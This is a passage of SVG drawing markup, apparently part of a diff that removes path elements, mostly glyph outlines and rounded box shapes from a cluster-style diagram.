627.241937,218.354938 627.241937,219.677855 C627.241937,220.740355 627.080479,221.578897 626.757562,222.19348 C626.434646,222.808063 625.965896,223.28723 625.351312,223.63098 C624.747146,223.964313 624.080479,224.13098 623.351312,224.13098 C622.195062,224.13098 621.257562,223.761188 620.538812,223.021605 C619.820062,222.271605 619.460687,221.19348 619.460687,219.78723 Z M620.913812,219.78723 C620.913812,220.84973 621.142979,221.646605 621.601312,222.177855 C622.070062,222.709105 622.653396,222.97473 623.351312,222.97473 C624.049229,222.97473 624.627354,222.709105 625.085687,222.177855 C625.554437,221.646605 625.788812,220.834105 625.788812,219.740355 C625.788812,218.719522 625.554437,217.94348 625.085687,217.41223 C624.627354,216.88098 624.049229,216.615355 623.351312,216.615355 C622.653396,216.615355 622.070062,216.88098 621.601312,217.41223 C621.142979,217.933063 620.913812,218.72473 620.913812,219.78723 Z M628.327875,221.459105 L629.7185,221.240355 C629.791417,221.802855 630.004958,222.235147 630.359125,222.53723 C630.723708,222.828897 631.223708,222.97473 631.859125,222.97473 C632.504958,222.97473 632.984125,222.844522 633.296625,222.584105 C633.609125,222.313272 633.765375,222.000772 633.765375,221.646605 C633.765375,221.334105 633.629958,221.084105 633.359125,220.896605 C633.161208,220.771605 632.682042,220.615355 631.921625,220.427855 C630.890375,220.167438 630.171625,219.94348 629.765375,219.75598 C629.369542,219.558063 629.067458,219.292438 628.859125,218.959105 C628.661208,218.625772 628.56225,218.25598 628.56225,217.84973 C628.56225,217.47473 628.645583,217.13098 628.81225,216.81848 C628.978917,216.50598 629.208083,216.245563 629.49975,216.03723 C629.7185,215.870563 630.015375,215.735147 630.390375,215.63098 C630.775792,215.516397 631.182042,215.459105 631.609125,215.459105 C632.265375,215.459105 632.838292,215.552855 633.327875,215.740355 C633.817458,215.927855 634.176833,216.183063 634.406,216.50598 C634.645583,216.81848 634.81225,217.245563 634.906,217.78723 L633.531,217.97473 C633.4685,217.547647 633.286208,217.214313 632.984125,216.97473 C632.682042,216.735147 632.260167,216.615355 631.7185,216.615355 C631.072667,216.615355 630.609125,216.72473 630.327875,216.94348 C630.057042,217.151813 629.921625,217.396605 629.921625,217.677855 C629.921625,217.865355 629.978917,218.032022 630.0935,218.177855 C630.208083,218.323688 630.385167,218.448688 630.62475,218.552855 C630.770583,218.604938 631.18725,218.72473 631.87475,218.91223 C632.864333,219.172647 633.557042,219.391397 633.952875,219.56848 C634.348708,219.735147 634.656,219.979938 634.87475,220.302855 C635.103917,220.625772 635.2185,221.026813 635.2185,221.50598 C635.2185,221.97473 635.077875,222.417438 634.796625,222.834105 C634.525792,223.240355 634.129958,223.558063 633.609125,223.78723 C633.098708,224.016397 632.520583,224.13098 631.87475,224.13098 C630.791417,224.13098 629.9685,223.907022 629.406,223.459105 C628.8435,223.011188 628.484125,222.344522 628.327875,221.459105 Z M639.952875,222.677855 L640.156,223.927855 C639.760167,224.011188 639.406,224.052855 639.0935,224.052855 C638.583083,224.052855 638.18725,223.97473 637.906,223.81848 C637.62475,223.651813 637.426833,223.438272 637.31225,223.177855 C637.197667,222.907022 637.140375,222.34973 637.140375,221.50598 L637.140375,216.740355 L636.109125,216.740355 L636.109125,215.646605 L637.140375,215.646605 L637.140375,213.584105 L638.546625,212.740355 L638.546625,215.646605 L639.952875,215.646605 L639.952875,216.740355 L638.546625,216.740355 L638.546625,221.584105 C638.546625,221.990355 638.567458,222.250772 638.609125,222.365355 C638.661208,222.479938 638.744542,222.573688 638.859125,222.646605 C638.973708,222.709105 639.135167,222.740355 639.3435,222.740355 C639.49975,222.740355 639.702875,222.719522 639.952875,222.677855 Z M640.773187,221.459105 L642.163812,221.240355 C642.236729,221.802855 642.450271,222.235147 642.804437,222.53723 C643.169021,222.828897 643.669021,222.97473 644.304437,222.97473 C644.950271,222.97473 645.429437,222.844522 645.741937,222.584105 C646.054437,222.313272 646.210687,222.000772 646.210687,221.646605 C646.210687,221.334105 646.075271,221.084105 645.804437,220.896605 C645.606521,220.771605 645.127354,220.615355 644.366937,220.427855 C643.335687,220.167438 642.616937,219.94348 642.210687,219.75598 C641.814854,219.558063 641.512771,219.292438 641.304437,218.959105 C641.106521,218.625772 641.007562,218.25598 641.007562,217.84973 C641.007562,217.47473 641.090896,217.13098 641.257562,216.81848 C641.424229,216.50598 641.653396,216.245563 641.945062,216.03723 C642.163812,215.870563 642.460687,215.735147 642.835687,215.63098 C643.221104,215.516397 643.627354,215.459105 644.054437,215.459105 C644.710687,215.459105 645.283604,215.552855 645.773187,215.740355 C646.262771,215.927855 646.622146,216.183063 646.851312,216.50598 C647.090896,216.81848 647.257562,217.245563 647.351312,217.78723 L645.976312,217.97473 C645.913812,217.547647 645.731521,217.214313 645.429437,216.97473 C645.127354,216.735147 644.705479,216.615355 644.163812,216.615355 C643.517979,216.615355 643.054437,216.72473 642.773187,216.94348 C642.502354,217.151813 642.366937,217.396605 642.366937,217.677855 C642.366937,217.865355 642.424229,218.032022 642.538812,218.177855 C642.653396,218.323688 642.830479,218.448688 643.070062,218.552855 C643.215896,218.604938 643.632562,218.72473 644.320062,218.91223 C645.309646,219.172647 646.002354,219.391397 646.398187,219.56848 C646.794021,219.735147 647.101312,219.979938 647.320062,220.302855 C647.549229,220.625772 647.663812,221.026813 647.663812,221.50598 C647.663812,221.97473 647.523187,222.417438 647.241937,222.834105 C646.971104,223.240355 646.575271,223.558063 646.054437,223.78723 C645.544021,224.016397 644.965896,224.13098 644.320062,224.13098 C643.236729,224.13098 642.413812,223.907022 641.851312,223.459105 C641.288812,223.011188 640.929437,222.344522 640.773187,221.459105 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M625.3357,242.94348 L623.92945,242.94348 L623.92945,233.97473 C623.5857,234.297647 623.137783,234.620563 622.5857,234.94348 C622.044033,235.266397 621.55445,235.511188 621.11695,235.677855 L621.11695,234.31848 C621.8982,233.94348 622.580492,233.495563 623.163825,232.97473 C623.757575,232.44348 624.17945,231.933063 624.42945,231.44348 L625.3357,231.44348 L625.3357,242.94348 Z M629.499762,242.94348 L629.499762,231.490355 L633.827887,231.490355 C634.588304,231.490355 635.166429,231.526813 635.562262,231.59973 C636.124762,231.69348 636.593512,231.870563 636.968512,232.13098 C637.353929,232.391397 637.661221,232.761188 637.890387,233.240355 C638.129971,233.709105 638.249762,234.229938 638.249762,234.802855 C638.249762,235.771605 637.937262,236.594522 637.312262,237.271605 C636.697679,237.948688 635.577887,238.28723 633.952887,238.28723 L631.015387,238.28723 L631.015387,242.94348 L629.499762,242.94348 Z M631.015387,236.927855 L633.984137,236.927855 C634.963304,236.927855 635.656012,236.745563 636.062262,236.38098 C636.478929,236.016397 636.687262,235.50598 636.687262,234.84973 C636.687262,234.370563 636.562262,233.959105 636.312262,233.615355 C636.072679,233.271605 635.754971,233.047647 635.359137,232.94348 C635.109137,232.870563 634.640387,232.834105 633.952887,232.834105 L631.015387,232.834105 L631.015387,236.927855 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M524.154844,512.0395 L524.154844,512.0395 C524.154844,434.0847 588.830326,370.88987 668.61158,370.88987 L668.61158,370.88987 C706.923836,370.88987 743.667,385.760933 770.75788,412.231636 C797.848761,438.702309 813.068244,474.604256 813.068244,512.039496 L813.068244,512.039496 C813.068244,589.994266 748.392768,653.189096 668.611574,653.189096 L668.611574,653.189096 C588.830324,653.189096 524.154844,589.994272 524.154844,512.039496 L524.154844,512.0395 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M524.154844,512.0395 L524.154844,512.0395 C524.154844,434.0847 588.830326,370.88987 668.61158,370.88987 L668.61158,370.88987 C706.923836,370.88987 743.667,385.760933 770.75788,412.231636 C797.848761,438.702309 813.068244,474.604256 813.068244,512.039496 L813.068244,512.039496 C813.068244,589.994266 748.392768,653.189096 668.611574,653.189096 L668.611574,653.189096 C588.830324,653.189096 524.154844,589.994272 524.154844,512.039496 L524.154844,512.0395 Z" id="Path" stroke="#434753" stroke-linejoin="round" stroke-dasharray="8,3"></path>
-                <path d="M590.70557,550.2439 L590.70557,550.2439 C590.70557,541.99567 597.392032,535.309208 605.640262,535.309208 L731.581912,535.309208 C735.542849,535.309208 739.341494,536.882633 742.142337,539.683476 C744.943118,542.484257 746.516605,546.282963 746.516605,550.243901 L746.516605,609.980778 C746.516605,618.229008 739.830081,624.91547 731.581913,624.91547 L605.640263,624.91547 C597.392033,624.91547 590.70557,618.229007 590.70557,609.980778 L590.70557,550.2439 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M590.70557,550.2439 L590.70557,550.2439 C590.70557,541.99567 597.392032,535.309208 605.640262,535.309208 L731.581912,535.309208 C735.542849,535.309208 739.341494,536.882633 742.142337,539.683476 C744.943118,542.484257 746.516605,546.282963 746.516605,550.243901 L746.516605,609.980778 C746.516605,618.229008 739.830081,624.91547 731.581913,624.91547 L605.640263,624.91547 C597.392033,624.91547 590.70557,618.229007 590.70557,609.980778 L590.70557,550.2439 Z" id="Path" stroke="#00BFB3" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M658.01184,565.4159 C657.397257,565.926317 656.808715,566.2909 656.246215,566.50965 C655.694132,566.717983 655.095173,566.82215 654.44934,566.82215 C653.38684,566.82215 652.569132,566.561733 651.996215,566.0409 C651.423298,565.520067 651.13684,564.858608 651.13684,564.056525 C651.13684,563.577358 651.246215,563.145067 651.464965,562.75965 C651.683715,562.363817 651.964965,562.051317 652.308715,561.82215 C652.662882,561.582567 653.058715,561.400275 653.496215,561.275275 C653.808715,561.191942 654.29309,561.108608 654.94934,561.025275 C656.272257,560.869025 657.246215,560.681525 657.871215,560.462775 C657.881632,560.233608 657.88684,560.092983 657.88684,560.0409 C657.88684,559.374233 657.73059,558.900275 657.41809,558.619025 C657.001423,558.254442 656.376423,558.07215 655.54309,558.07215 C654.772257,558.07215 654.204548,558.207567 653.839965,558.4784 C653.475382,558.749233 653.204548,559.223192 653.027465,559.900275 L651.41809,559.681525 C651.563923,559.004442 651.803507,558.457567 652.13684,558.0409 C652.470173,557.613817 652.954548,557.285692 653.589965,557.056525 C654.225382,556.827358 654.954548,556.712775 655.777465,556.712775 C656.610798,556.712775 657.282673,556.811733 657.79309,557.00965 C658.313923,557.19715 658.694132,557.441942 658.933715,557.744025 C659.183715,558.035692 659.35559,558.405483 659.44934,558.8534 C659.501423,559.13465 659.527465,559.639858 659.527465,560.369025 L659.527465,562.556525 C659.527465,564.077358 659.563923,565.0409 659.63684,565.44715 C659.709757,565.842983 659.845173,566.2284 660.04309,566.6034 L658.339965,566.6034 C658.162882,566.25965 658.053507,565.863817 658.01184,565.4159 Z M657.871215,561.744025 C657.277465,561.994025 656.38684,562.202358 655.19934,562.369025 C654.522257,562.462775 654.04309,562.57215 653.76184,562.69715 C653.48059,562.82215 653.26184,562.999233 653.10559,563.2284 C652.959757,563.457567 652.88684,563.717983 652.88684,564.00965 C652.88684,564.44715 653.053507,564.811733 653.38684,565.1034 C653.720173,565.395067 654.204548,565.5409 654.839965,565.5409 C655.464965,565.5409 656.022257,565.405483 656.51184,565.13465 C657.01184,564.8534 657.376423,564.473192 657.60559,563.994025 C657.782673,563.619025 657.871215,563.07215 657.871215,562.3534 L657.871215,561.744025 Z M662.075072,566.6034 L662.075072,556.931525 L663.543822,556.931525 L663.543822,558.2909 C663.845906,557.811733 664.246947,557.431525 664.746947,557.150275 C665.257364,556.858608 665.830281,556.712775 666.465697,556.712775 C667.184447,556.712775 667.772989,556.863817 668.231322,557.1659 C668.689656,557.457567 669.012572,557.869025 669.200072,558.400275 C669.970906,557.275275 670.965697,556.712775 672.184447,556.712775 C673.153197,556.712775 673.892781,556.9784 674.403197,557.50965 C674.924031,558.0409 675.184447,558.858608 675.184447,559.962775 L675.184447,566.6034 L673.543822,566.6034 L673.543822,560.50965 C673.543822,559.8534 673.491739,559.38465 673.387572,559.1034 C673.283406,558.811733 673.090697,558.577358 672.809447,558.400275 C672.528197,558.223192 672.200072,558.13465 671.825072,558.13465 C671.147989,558.13465 670.585489,558.363817 670.137572,558.82215 C669.689656,559.270067 669.465697,559.988817 669.465697,560.9784 L669.465697,566.6034 L667.825072,566.6034 L667.825072,560.32215 C667.825072,559.592983 667.689656,559.046108 667.418822,558.681525 C667.147989,558.316942 666.710489,558.13465 666.106322,558.13465 C665.647989,558.13465 665.220906,558.254442 664.825072,558.494025 C664.429239,558.733608 664.142781,559.087775 663.965697,559.556525 C663.799031,560.025275 663.715697,560.702358 663.715697,561.587775 L663.715697,566.6034 L662.075072,566.6034 Z M685.772093,565.025275 L685.772093,566.6034 L676.943968,566.6034 C676.933552,566.207567 676.996052,565.827358 677.131468,565.462775 C677.360635,564.858608 677.72001,564.264858 678.209593,563.681525 C678.709593,563.098192 679.428343,562.426317 680.365843,561.6659 C681.81376,560.4784 682.792927,559.535692 683.303343,558.837775 C683.81376,558.139858 684.068968,557.483608 684.068968,556.869025 C684.068968,556.212775 683.834593,555.6659 683.365843,555.2284 C682.90751,554.780483 682.303343,554.556525 681.553343,554.556525 C680.761677,554.556525 680.12626,554.796108 679.647093,555.275275 C679.178343,555.744025 678.943968,556.395067 678.943968,557.2284 L677.256468,557.056525 C677.371052,555.796108 677.803343,554.837775 678.553343,554.181525 C679.31376,553.525275 680.324177,553.19715 681.584593,553.19715 C682.865843,553.19715 683.881468,553.551317 684.631468,554.25965 C685.381468,554.967983 685.756468,555.848192 685.756468,556.900275 C685.756468,557.431525 685.647093,557.957567 685.428343,558.4784 C685.209593,558.999233 684.84501,559.546108 684.334593,560.119025 C683.834593,560.681525 682.990843,561.462775 681.803343,562.462775 C680.824177,563.285692 680.193968,563.848192 679.912718,564.150275 C679.631468,564.441942 679.402302,564.733608 679.225218,565.025275 L685.772093,565.025275 Z" id="Shape" fill="#3EBEB0" fill-rule="nonzero"></path>
-                <polygon id="Path" fill-opacity="0" fill="#000000" points="574.4228 379.9211 762.80073 379.9211 762.80073 420.36205 574.4228 420.36205"></polygon>
-                <path d="M615.70435,407.02863 C614.256433,407.02863 613.136642,406.585922 612.344975,405.700505 C611.553308,404.804672 611.157475,403.544255 611.157475,401.919255 C611.157475,400.242172 611.558517,398.950505 612.3606,398.044255 C613.1731,397.127588 614.318933,396.669255 615.7981,396.669255 C616.277267,396.669255 616.756433,396.721338 617.2356,396.825505 C617.725183,396.929672 618.105392,397.054672 618.376225,397.200505 L617.907475,398.481755 C617.574142,398.346338 617.209558,398.236963 616.813725,398.15363 C616.417892,398.05988 616.068933,398.013005 615.76685,398.013005 C613.7356,398.013005 612.719975,399.304672 612.719975,401.888005 C612.719975,403.117172 612.964767,404.05988 613.45435,404.71613 C613.95435,405.37238 614.693933,405.700505 615.6731,405.700505 C616.506433,405.700505 617.355392,405.523422 618.219975,405.169255 L618.219975,406.49738 C617.553308,406.851547 616.714767,407.02863 615.70435,407.02863 Z M622.101689,406.84113 L620.601689,406.84113 L620.601689,392.669255 L622.101689,392.669255 L622.101689,406.84113 Z M626.742314,396.856755 L626.742314,403.34113 C626.742314,404.15363 626.924606,404.763005 627.289189,405.169255 C627.664189,405.565088 628.242314,405.763005 629.023564,405.763005 C630.075647,405.763005 630.841272,405.476547 631.320439,404.90363 C631.799606,404.330713 632.039189,403.398422 632.039189,402.106755 L632.039189,396.856755 L633.554814,396.856755 L633.554814,406.84113 L632.304814,406.84113 L632.086064,405.49738 L632.007939,405.49738 C631.695439,405.99738 631.263147,406.377588 630.711064,406.638005 C630.169397,406.898422 629.544397,407.02863 628.836064,407.02863 C627.627731,407.02863 626.721481,406.742172 626.117314,406.169255 C625.513147,405.585922 625.211064,404.658838 625.211064,403.388005 L625.211064,396.856755 L626.742314,396.856755 Z M643.208562,404.12238 C643.208562,405.049463 642.859604,405.768213 642.161687,406.27863 C641.474187,406.77863 640.505437,407.02863 639.255437,407.02863 C637.93252,407.02863 636.90127,406.815088 636.161687,406.388005 L636.161687,404.99738 C636.640854,405.236963 637.15127,405.429672 637.692937,405.575505 C638.24502,405.710922 638.77627,405.77863 639.286687,405.77863 C640.078354,405.77863 640.687729,405.65363 641.114812,405.40363 C641.541895,405.143213 641.755437,404.757797 641.755437,404.24738 C641.755437,403.861963 641.583562,403.52863 641.239812,403.24738 C640.906479,402.96613 640.250229,402.638005 639.271062,402.263005 C638.343979,401.919255 637.68252,401.62238 637.286687,401.37238 C636.90127,401.111963 636.609604,400.820297 636.411687,400.49738 C636.224187,400.164047 636.130437,399.768213 636.130437,399.30988 C636.130437,398.49738 636.458562,397.856755 637.114812,397.388005 C637.781479,396.908838 638.692937,396.669255 639.849187,396.669255 C640.922104,396.669255 641.968979,396.888005 642.989812,397.325505 L642.458562,398.55988 C641.458562,398.143213 640.552312,397.93488 639.739812,397.93488 C639.021062,397.93488 638.479395,398.049463 638.114812,398.27863 C637.750229,398.507797 637.567937,398.815088 637.567937,399.200505 C637.567937,399.471338 637.635645,399.700505 637.771062,399.888005 C637.906479,400.075505 638.125229,400.257797 638.427312,400.43488 C638.729395,400.601547 639.312729,400.846338 640.177312,401.169255 C641.364812,401.596338 642.166895,402.02863 642.583562,402.46613 C643.000229,402.90363 643.208562,403.455713 643.208562,404.12238 Z M648.889775,405.77863 C649.160609,405.77863 649.415817,405.757797 649.6554,405.71613 C649.9054,405.674463 650.103317,405.632797 650.24915,405.59113 L650.24915,406.74738 C650.0929,406.830713 649.853317,406.898422 649.5304,406.950505 C649.207484,407.002588 648.921025,407.02863 648.671025,407.02863 C646.743942,407.02863 645.7804,406.007797 645.7804,403.96613 L645.7804,398.02863 L644.3429,398.02863 L644.3429,397.30988 L645.7804,396.669255 L646.4054,394.544255 L647.2804,394.544255 L647.2804,396.856755 L650.18665,396.856755 L650.18665,398.02863 L647.2804,398.02863 L647.2804,403.90363 C647.2804,404.507797 647.421025,404.971338 647.702275,405.294255 C647.993942,405.617172 648.389775,405.77863 648.889775,405.77863 Z M656.475957,407.02863 C654.99679,407.02863 653.830124,406.580713 652.975957,405.68488 C652.12179,404.77863 651.694707,403.52863 651.694707,401.93488 C651.694707,400.320297 652.09054,399.039047 652.882207,398.09113 C653.673874,397.143213 654.736374,396.669255 656.069707,396.669255 C657.330124,396.669255 658.319707,397.080713 659.038457,397.90363 C659.767624,398.726547 660.132207,399.815088 660.132207,401.169255 L660.132207,402.12238 L653.257207,402.12238 C653.288457,403.299463 653.585332,404.190088 654.147832,404.794255 C654.710332,405.398422 655.501999,405.700505 656.522832,405.700505 C657.595749,405.700505 658.658249,405.476547 659.710332,405.02863 L659.710332,406.37238 C659.179082,406.601547 658.673874,406.768213 658.194707,406.87238 C657.71554,406.976547 657.142624,407.02863 656.475957,407.02863 Z M656.054082,397.93488 C655.251999,397.93488 654.611374,398.200505 654.132207,398.731755 C653.663457,399.252588 653.387415,399.971338 653.304082,400.888005 L658.522832,400.888005 C658.522832,399.940088 658.30929,399.210922 657.882207,398.700505 C657.455124,398.190088 656.845749,397.93488 656.054082,397.93488 Z M667.270879,396.669255 C667.718796,396.669255 668.114629,396.705713 668.458379,396.77863 L668.255254,398.18488 C667.838587,398.09113 667.474004,398.044255 667.161504,398.044255 C666.359421,398.044255 665.666712,398.37238 665.083379,399.02863 C664.510462,399.68488 664.224004,400.502588 664.224004,401.481755 L664.224004,406.84113 L662.724004,406.84113 L662.724004,396.856755 L663.958379,396.856755 L664.145879,398.700505 L664.208379,398.700505 C664.583379,398.054672 665.031296,397.554672 665.552129,397.200505 C666.072962,396.846338 666.645879,396.669255 667.270879,396.669255 Z M670.120794,405.87238 C670.120794,405.46613 670.209335,405.158838 670.386419,404.950505 C670.573919,404.742172 670.839544,404.638005 671.183294,404.638005 C671.53746,404.638005 671.813502,404.742172 672.011419,404.950505 C672.209335,405.158838 672.308294,405.46613 672.308294,405.87238 C672.308294,406.268213 672.209335,406.575505 672.011419,406.794255 C671.813502,407.002588 671.53746,407.106755 671.183294,407.106755 C670.88121,407.106755 670.626002,407.013005 670.417669,406.825505 C670.219752,406.627588 670.120794,406.30988 670.120794,405.87238 Z M670.120794,397.825505 C670.120794,397.013005 670.47496,396.606755 671.183294,396.606755 C671.933294,396.606755 672.308294,397.013005 672.308294,397.825505 C672.308294,398.221338 672.209335,398.52863 672.011419,398.74738 C671.813502,398.955713 671.53746,399.05988 671.183294,399.05988 C670.88121,399.05988 670.626002,398.96613 670.417669,398.77863 C670.219752,398.580713 670.120794,398.263005 670.120794,397.825505 Z M686.291144,406.84113 L685.978644,405.419255 L685.916144,405.419255 C685.416144,406.044255 684.916144,406.471338 684.416144,406.700505 C683.92656,406.919255 683.311977,407.02863 682.572394,407.02863 C681.58281,407.02863 680.806769,406.773422 680.244269,406.263005 C679.681769,405.752588 679.400519,405.023422 679.400519,404.075505 C679.400519,402.065088 681.009894,401.007797 684.228644,400.90363 L685.931769,400.856755 L685.931769,400.231755 C685.931769,399.450505 685.759894,398.87238 685.416144,398.49738 C685.08281,398.12238 684.546352,397.93488 683.806769,397.93488 C682.973435,397.93488 682.030727,398.190088 680.978644,398.700505 L680.525519,397.544255 C681.015102,397.283838 681.55156,397.080713 682.134894,396.93488 C682.718227,396.77863 683.306769,396.700505 683.900519,396.700505 C685.088019,396.700505 685.968227,396.96613 686.541144,397.49738 C687.11406,398.018213 687.400519,398.861963 687.400519,400.02863 L687.400519,406.84113 L686.291144,406.84113 Z M682.869269,405.77863 C683.806769,405.77863 684.541144,405.523422 685.072394,405.013005 C685.61406,404.492172 685.884894,403.763005 685.884894,402.825505 L685.884894,401.93488 L684.384894,401.99738 C683.17656,402.039047 682.306769,402.226547 681.775519,402.55988 C681.244269,402.882797 680.978644,403.398422 680.978644,404.106755 C680.978644,404.648422 681.14531,405.065088 681.478644,405.356755 C681.811977,405.638005 682.275519,405.77863 682.869269,405.77863 Z M703.24494,406.84113 L703.24494,400.34113 C703.24494,399.549463 703.073065,398.955713 702.729315,398.55988 C702.395981,398.164047 701.86994,397.96613 701.15119,397.96613 C700.21369,397.96613 699.515773,398.236963 699.05744,398.77863 C698.609523,399.30988 698.385565,400.138005 698.385565,401.263005 L698.385565,406.84113 L696.885565,406.84113 L696.885565,400.34113 C696.885565,399.549463 696.71369,398.955713 696.36994,398.55988 C696.02619,398.164047 695.49494,397.96613 694.77619,397.96613 C693.828273,397.96613 693.130356,398.252588 692.68244,398.825505 C692.24494,399.388005 692.02619,400.315088 692.02619,401.606755 L692.02619,406.84113 L690.52619,406.84113 L690.52619,396.856755 L691.74494,396.856755 L691.99494,398.21613 L692.073065,398.21613 C692.354315,397.736963 692.755356,397.361963 693.27619,397.09113 C693.797023,396.80988 694.380356,396.669255 695.02619,396.669255 C696.578273,396.669255 697.599106,397.236963 698.08869,398.37238 L698.15119,398.37238 C698.453273,397.851547 698.885565,397.440088 699.448065,397.138005 C700.010565,396.825505 700.656398,396.669255 701.385565,396.669255 C702.510565,396.669255 703.354315,396.960922 703.916815,397.544255 C704.479315,398.127588 704.760565,399.054672 704.760565,400.325505 L704.760565,406.84113 L703.24494,406.84113 Z M712.098578,407.02863 C710.619411,407.02863 709.452744,406.580713 708.598578,405.68488 C707.744411,404.77863 707.317328,403.52863 707.317328,401.93488 C707.317328,400.320297 707.713161,399.039047 708.504828,398.09113 C709.296494,397.143213 710.358994,396.669255 711.692328,396.669255 C712.952744,396.669255 713.942328,397.080713 714.661078,397.90363 C715.390244,398.726547 715.754828,399.815088 715.754828,401.169255 L715.754828,402.12238 L708.879828,402.12238 C708.911078,403.299463 709.207953,404.190088 709.770453,404.794255 C710.332953,405.398422 711.124619,405.700505 712.145453,405.700505 C713.218369,405.700505 714.280869,405.476547 715.332953,405.02863 L715.332953,406.37238 C714.801703,406.601547 714.296494,406.768213 713.817328,406.87238 C713.338161,406.976547 712.765244,407.02863 712.098578,407.02863 Z M711.676703,397.93488 C710.874619,397.93488 710.233994,398.200505 709.754828,398.731755 C709.286078,399.252588 709.010036,399.971338 708.926703,400.888005 L714.145453,400.888005 C714.145453,399.940088 713.931911,399.210922 713.504828,398.700505 C713.077744,398.190088 712.468369,397.93488 711.676703,397.93488 Z M724.48725,406.84113 L724.17475,405.419255 L724.11225,405.419255 C723.61225,406.044255 723.11225,406.471338 722.61225,406.700505 C722.122666,406.919255 721.508083,407.02863 720.7685,407.02863 C719.778916,407.02863 719.002875,406.773422 718.440375,406.263005 C717.877875,405.752588 717.596625,405.023422 717.596625,404.075505 C717.596625,402.065088 719.206,401.007797 722.42475,400.90363 L724.127875,400.856755 L724.127875,400.231755 C724.127875,399.450505 723.956,398.87238 723.61225,398.49738 C723.278916,398.12238 722.742458,397.93488 722.002875,397.93488 C721.169541,397.93488 720.226833,398.190088 719.17475,398.700505 L718.721625,397.544255 C719.211208,397.283838 719.747666,397.080713 720.331,396.93488 C720.914333,396.77863 721.502875,396.700505 722.096625,396.700505 C723.284125,396.700505 724.164333,396.96613 724.73725,397.49738 C725.310166,398.018213 725.596625,398.861963 725.596625,400.02863 L725.596625,406.84113 L724.48725,406.84113 Z M721.065375,405.77863 C722.002875,405.77863 722.73725,405.523422 723.2685,405.013005 C723.810166,404.492172 724.081,403.763005 724.081,402.825505 L724.081,401.93488 L722.581,401.99738 C721.372666,402.039047 720.502875,402.226547 719.971625,402.55988 C719.440375,402.882797 719.17475,403.398422 719.17475,404.106755 C719.17475,404.648422 719.341416,405.065088 719.67475,405.356755 C720.008083,405.638005 720.471625,405.77863 721.065375,405.77863 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <path d="M590.70557,446.24387 L590.70557,446.24387 C590.70557,437.995671 597.392032,431.309178 605.640262,431.309178 L731.581912,431.309178 C735.542849,431.309178 739.341494,432.882664 742.142337,435.683446 C744.943118,438.484257 746.516605,442.282964 746.516605,446.243871 L746.516605,505.980811 C746.516605,514.22901 739.830081,520.915473 731.581913,520.915473 L605.640263,520.915473 C597.392033,520.915473 590.70557,514.22901 590.70557,505.980811 L590.70557,446.24387 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M590.70557,446.24387 L590.70557,446.24387 C590.70557,437.995671 597.392032,431.309178 605.640262,431.309178 L731.581912,431.309178 C735.542849,431.309178 739.341494,432.882664 742.142337,435.683446 C744.943118,438.484257 746.516605,442.282964 746.516605,446.243871 L746.516605,505.980811 C746.516605,514.22901 739.830081,520.915473 731.581913,520.915473 L605.640263,520.915473 C597.392033,520.915473 590.70557,514.22901 590.70557,505.980811 L590.70557,446.24387 Z" id="Path" stroke="#00BFB3" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M658.01184,461.4159 C657.397257,461.926317 656.808715,462.2909 656.246215,462.50965 C655.694132,462.717983 655.095173,462.82215 654.44934,462.82215 C653.38684,462.82215 652.569132,462.561733 651.996215,462.0409 C651.423298,461.520067 651.13684,460.858608 651.13684,460.056525 C651.13684,459.577358 651.246215,459.145067 651.464965,458.75965 C651.683715,458.363817 651.964965,458.051317 652.308715,457.82215 C652.662882,457.582567 653.058715,457.400275 653.496215,457.275275 C653.808715,457.191942 654.29309,457.108608 654.94934,457.025275 C656.272257,456.869025 657.246215,456.681525 657.871215,456.462775 C657.881632,456.233608 657.88684,456.092983 657.88684,456.0409 C657.88684,455.374233 657.73059,454.900275 657.41809,454.619025 C657.001423,454.254442 656.376423,454.07215 655.54309,454.07215 C654.772257,454.07215 654.204548,454.207567 653.839965,454.4784 C653.475382,454.749233 653.204548,455.223192 653.027465,455.900275 L651.41809,455.681525 C651.563923,455.004442 651.803507,454.457567 652.13684,454.0409 C652.470173,453.613817 652.954548,453.285692 653.589965,453.056525 C654.225382,452.827358 654.954548,452.712775 655.777465,452.712775 C656.610798,452.712775 657.282673,452.811733 657.79309,453.00965 C658.313923,453.19715 658.694132,453.441942 658.933715,453.744025 C659.183715,454.035692 659.35559,454.405483 659.44934,454.8534 C659.501423,455.13465 659.527465,455.639858 659.527465,456.369025 L659.527465,458.556525 C659.527465,460.077358 659.563923,461.0409 659.63684,461.44715 C659.709757,461.842983 659.845173,462.2284 660.04309,462.6034 L658.339965,462.6034 C658.162882,462.25965 658.053507,461.863817 658.01184,461.4159 Z M657.871215,457.744025 C657.277465,457.994025 656.38684,458.202358 655.19934,458.369025 C654.522257,458.462775 654.04309,458.57215 653.76184,458.69715 C653.48059,458.82215 653.26184,458.999233 653.10559,459.2284 C652.959757,459.457567 652.88684,459.717983 652.88684,460.00965 C652.88684,460.44715 653.053507,460.811733 653.38684,461.1034 C653.720173,461.395067 654.204548,461.5409 654.839965,461.5409 C655.464965,461.5409 656.022257,461.405483 656.51184,461.13465 C657.01184,460.8534 657.376423,460.473192 657.60559,459.994025 C657.782673,459.619025 657.871215,459.07215 657.871215,458.3534 L657.871215,457.744025 Z M662.075072,462.6034 L662.075072,452.931525 L663.543822,452.931525 L663.543822,454.2909 C663.845906,453.811733 664.246947,453.431525 664.746947,453.150275 C665.257364,452.858608 665.830281,452.712775 666.465697,452.712775 C667.184447,452.712775 667.772989,452.863817 668.231322,453.1659 C668.689656,453.457567 669.012572,453.869025 669.200072,454.400275 C669.970906,453.275275 670.965697,452.712775 672.184447,452.712775 C673.153197,452.712775 673.892781,452.9784 674.403197,453.50965 C674.924031,454.0409 675.184447,454.858608 675.184447,455.962775 L675.184447,462.6034 L673.543822,462.6034 L673.543822,456.50965 C673.543822,455.8534 673.491739,455.38465 673.387572,455.1034 C673.283406,454.811733 673.090697,454.577358 672.809447,454.400275 C672.528197,454.223192 672.200072,454.13465 671.825072,454.13465 C671.147989,454.13465 670.585489,454.363817 670.137572,454.82215 C669.689656,455.270067 669.465697,455.988817 669.465697,456.9784 L669.465697,462.6034 L667.825072,462.6034 L667.825072,456.32215 C667.825072,455.592983 667.689656,455.046108 667.418822,454.681525 C667.147989,454.316942 